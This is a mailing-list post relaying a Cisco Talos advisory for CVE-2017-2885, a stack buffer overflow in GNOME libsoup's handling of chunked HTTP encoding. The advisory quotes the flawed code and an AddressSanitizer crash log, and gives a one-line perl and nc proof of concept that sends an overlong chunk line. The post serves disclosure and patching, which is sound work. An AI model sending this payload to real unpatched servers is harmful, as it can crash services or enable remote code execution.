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Message-ID: <1502896414.15588.28.camel@cryptobitch.de>
Date: Wed, 16 Aug 2017 17:13:34 +0200
From: Tobias Mueller <tobiasmue@...me.org>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2017-2885 libsoup - stack based buffer overflow with HTTP
Chunked Encoding
Hi.
The GNOME project has received an excellent report from Aleksandar
Nikolic of Cisco Talos.
In essence, libsoup is susceptible to a stack based buffer overflow
attack when using chunked encoding. Regardless of libsoup being used as
a server or client.
GNOME tracks this bug under
https://bugzilla.gnome.org/show_bug.cgi?id=785774
libsoup as of version libsoup-2.59.90.1, 2.58.2, and 2.56.1 carry a
fix.
The full report comes here. Again, thanks to Talos.
GNOME libsoup HTTP Chunked Encoding Remote Code Execution Vulnerability
### Summary
An exploitable stack based buffer overflow vulnerability exists in the
GNOME libsoup 2.58. A specially crafted HTTP request can cause a stack
overflow resulting in remote code execution. An attacker can send a
special HTTP request to the vulnerable server to trigger this
vulnerability.
### Tested Versions
GNOME libsoup 2.58
### Product URLs
[https://wiki.gnome.org/action/show/Projects/libsoup](https://wiki.gnom
e.org/action/show/Projects/libsoup)
### CVSSv3 Score
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
### CWE
CWE-121: Stack-based Buffer Overflow
### Details
GNOME libsoup is a library implementing client and server side code for
dealing with HTTP requests and responses. It is used to implement
custom web servers or clients. Usually it is used embedded in other
applications such as media streaming servers for basic web server
functionality. It can also be used standalone and embedded in hardware
devices.
When processing an HTTP request which contains chunk encoded data, an
improper bounds checking can lead to large memory copy operation which
can overflow a statically sized buffer on the stack. Buffer that is
being overflown is located in function
`soup_body_input_stream_read_chunked` in file libsoup/soup-body-input-
stream.c:
static gssize
soup_body_input_stream_read_chunked (SoupBodyInputStream *bistream,
void *buffer,
gsize count,
gboolean blocking,
GCancellable *cancellabl
e,
GError **error)
{
SoupFilterInputStream *fstream = SOUP_FILTER_INPUT_STREAM
(bistream->priv->base_stream);
char metabuf[128]; [1]
gssize nread;
gboolean got_line;
The buffer is allocated on the stack at [1]. While further processing
the body of a chunk-encoded HTTP request, function
`soup_filter_input_stream_read_line` is called:
case SOUP_BODY_INPUT_STREAM_STATE_CHUNK_END:
nread = soup_filter_input_stream_read_line (
SOUP_FILTER_INPUT_STREAM (bistream->priv-
>base_stream),
metabuf, sizeof (metabuf), blocking,
&got_line, cancellable, error);
In the above code, we can see `metabuf` and it’s length being passed to
the `soup_filter_input_stream_read_line` function which is just a
wrapper around `soup_filter_input_stream_read_until` being called with
new line as delimiter:
gssize
soup_filter_input_stream_read_line (SoupFilterInputStream *fstream,
void *buffer,
gsize length,
gboolean blocking,
gboolean *got_line,
GCancellable *cancellab
le,
GError **error)
{
return soup_filter_input_stream_read_until (fstream, buffer,
length,
"\n", 1,
blocking,
TRUE, got_line,
cancellable,
error);
}
Function `soup_filter_input_stream_read_until` does the actual reading
from the input stream into the buffer.
/* Scan for the boundary */
end = buf + fstream->priv->buf-
>len; [2]
if (!eof)
end -= boundary_length;
for (p = buf; p <= end; p++)
{ [3]
if (*p == *(guint8*)boundary &&
!memcmp (p, boundary, boundary_length))
{ [4]
if (include_boundary)
p += boundary_length;
*got_boundary = TRUE;
break;
}
}
if (!*got_boundary && fstream->priv->buf->len < length &&
!eof)
goto fill_buffer;
/* Return everything up to 'p' (which is either just after
the boundary if
* include_boundary is TRUE, just before the boundary if
include_boundary is
* FALSE, @boundary_len - 1 bytes before the end of the
buffer, or end-of-
* file).
*/
return read_from_buf (fstream, buffer, p -
buf); [5]
In the above code, at [2] a pointer to the end of the stream data is
calculated, at [3] it is used as an end condition in a for loop which
is looking for a set delimiter (variable `boundary`, a newline
character in this case) at [4]. Pointer `p` is being incremented in the
loop until newline is found. Finally, at [5], function `read_from_buf`
is called with input stream as source, buffer as destination and offset
to newline character as length. No check to make sure the buffer is big
enough is performed anywhere. In the function `read_from_buf` a
`memcpy` call can thus lead to a buffer overflow:
static gssize
read_from_buf (SoupFilterInputStream *fstream, gpointer buffer, gsize
count)
{
GByteArray *buf = fstream->priv->buf;
if (buf->len < count)
count = buf->len;
memcpy (buffer, buf->data, count);
To trigger this vulnerability, a simple HTTP request like the following
is enough:
GET / HTTP/1.0
Transfer-Encoding: chunked
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
When parsing this request, the first chunk will be of size 1, and then
the parser proceeds to scan the overly long series of `A` characters
for a new line. A string longer than 128 characters will overflow the
buffer. This can be abused in order to crash the server or achieve
remote code execution in the context of the server.
When parsing this request, the first chunk will be of size 1, and then
the parser proceeds to scan the overly long series of `A` characters
for a new line. A string longer than 128 characters will overflow the
buffer. This can be abused in order to crash the server or achieve
remote code execution in the context of the server.
### Crash Information
Address Sanitizer output:
Listening on http://0.0.0.0:12323/
Listening on http://[::]:12323/
Waiting for requests...
=================================================================
==119749==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7fffffffb280 at pc 0x0000004a3bfd bp 0x7fffffffb010 sp 0x7fffffffa7c0
WRITE of size 151 at 0x7fffffffb280 thread T0
#0 0x4a3bfc in __asan_memcpy ??:?
#1 0x4a3bfc in ?? ??:0
#2 0x7ffff7962126 in read_from_buf
/home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:59
#3 0x7ffff7962126 in soup_filter_input_stream_read_until
/home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:278
#4 0x7ffff7962126 in ?? ??:0
#5 0x7ffff7961475 in soup_filter_input_stream_read_line
/home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:183
#6 0x7ffff7961475 in ?? ??:0
#7 0x7ffff791fd45 in soup_body_input_stream_read_chunked
/home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:194
#8 0x7ffff791fd45 in read_internal
/home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:249
#9 0x7ffff791fd45 in ?? ??:0
#10 0x7ffff79966b0 in io_read
/home/user/libsoup/libsoup/libsoup/soup-message-io.c:762
#11 0x7ffff79966b0 in ?? ??:0
#12 0x7ffff79901b5 in io_run_until
/home/user/libsoup/libsoup/libsoup/soup-message-io.c:982
#13 0x7ffff79901b5 in ?? ??:0
#14 0x7ffff7993ee3 in io_run
/home/user/libsoup/libsoup/libsoup/soup-message-io.c:1053
#15 0x7ffff7993ee3 in ?? ??:0
#16 0x7ffff7999939 in soup_message_read_request
/home/user/libsoup/libsoup/libsoup/soup-message-server-io.c:304
#17 0x7ffff7999939 in ?? ??:0
#18 0x7ffff71a00a6 in g_cclosure_marshal_VOID__OBJECTv ??:?
#19 0x7ffff71a00a6 in ?? ??:0
#20 0x7ffff719d1d3 in g_closure_invoke ??:?
#21 0x7ffff719d1d3 in ?? ??:0
#22 0x7ffff71b79a5 in g_signal_emit_valist ??:?
#23 0x7ffff71b79a5 in ?? ??:0
#24 0x7ffff71b808e in g_signal_emit ??:?
#25 0x7ffff71b808e in ?? ??:0
#26 0x7ffff79e894a in listen_watch
/home/user/libsoup/libsoup/libsoup/soup-socket.c:1237
#27 0x7ffff79e894a in ?? ??:0
#28 0x7ffff6ec6049 in g_main_context_dispatch ??:?
#29 0x7ffff6ec6049 in ?? ??:0
#30 0x7ffff6ec63ef in g_main_context_dispatch ??:?
#31 0x7ffff6ec63ef in ?? ??:0
#32 0x7ffff6ec6711 in g_main_loop_run ??:?
#33 0x7ffff6ec6711 in ?? ??:0
#34 0x4eb8cc in main /home/user/libsoup/libsoup/examples/simple-
httpd.c:360
#35 0x4eb8cc in ?? ??:0
#36 0x7ffff5f8a82f in __libc_start_main /build/glibc-
bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#37 0x7ffff5f8a82f in ?? ??:0
#38 0x419dc8 in _start ??:?
#39 0x419dc8 in ?? ??:0
Address 0x7fffffffb280 is located in stack of thread T0 at offset 160
in frame
#0 0x7ffff791f8af in read_internal
/home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:237
#1 0x7ffff791f8af in ?? ??:0
This frame has 2 object(s):
[32, 160) 'metabuf.i'
[192, 196) 'got_line.i' <== Memory access at offset 160 partially
underflows this variable
HINT: this may be a false positive if your program uses some custom
stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/home/user/libsoup/libsoup/examples/.libs/simple-httpd+0x4a3bfc)
Shadow bytes around the buggy address:
0x10007fff7600: 00 00 00 00 f1 f1 f1 f1 00 f3 f3 f3 00 00 00 00
0x10007fff7610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7630: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10007fff7640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff7650:[f2]f2 f2 f2 04 f3 f3 f3 00 00 00 00 00 00 00 00
0x10007fff7660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7670: 00 00 00 00 ca ca ca ca 00 00 00 00 00 00 00 00
0x10007fff7680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff76a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==119749==ABORTING
### Exploit Proof-of-Concept
perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding:
chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc <target> <port>
### Credit
Discovered by Aleksandar Nikolic of Cisco Talos.
http://talosintelligence.com/vulnerability-reports/
Cheers,
Tobi
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